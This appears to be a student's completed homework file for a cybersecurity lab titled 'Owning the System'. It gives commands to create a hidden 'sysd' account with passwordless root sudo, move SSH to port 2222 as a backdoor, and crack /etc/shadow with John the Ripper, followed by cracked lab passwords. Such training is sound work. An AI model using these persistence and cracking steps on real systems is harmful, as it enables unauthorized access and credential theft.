

Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.
Save and submit the completed file for your homework submission.

Step 1: Shadow People

Create a secret user named sysd. Make sure this user doesn't have a home folder created:

```
sudo adduser --system --no-create-home sysd
```

Give your secret user a password:

```
sudo passwd sysd
```

Give your secret user a system UID < 1000:

```
sudo usermod -u 747 sysd
```

Give your secret user the same GID:

```
sudo groupadd -g 747 sysd
```

Give your secret user full sudo access without the need for a password:

```
sudo visudo
```

```
#User privilege specification
```

```
sysd ALL=(ALL:ALL) NOPASSWD:ALL
```

Test that sudo access works without your password:

```
sudo -l
```

Step 2: Smooth Sailing

Edit the sshd_config file:

```
nano /etc/ssh/sshd_config
```

```
# default value
```

```
#Port 22
```

```
Port 2222 (CTRL X and Y)
```

```
sudo ufw allow from any to any port 2222 proto tcp
```

Step 3: Testing Your Configuration Update

Restart the SSH service:

```
systemctl restart ssh
```

Exit the root account:

```
exit
```

SSH to the target machine using your sysd account and port 2222:

```
ssh sysd@192.168.6.105 -p 2222
```

Use sudo to switch to the root user:

```
sudo su
```

Step 4: Crack All the Passwords

SSH back to the system using your sysd account and port 2222:

```
ssh sysd@192.168.6.105 -p 2222
```

Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

```
sudo su
```

```
john /etc/shadow
```

```
john -show /etc/shadow (if you want to verify your results)
```

Cracked passwords for users as follows:

vagrant	(vagrant)
instructor	(instructor)
password	(jane)
123	(sysd)
123456	(sally)
football	(billy)
welcome	(adam)
welcome	(max)
lakers	(john)
lakers	(jack)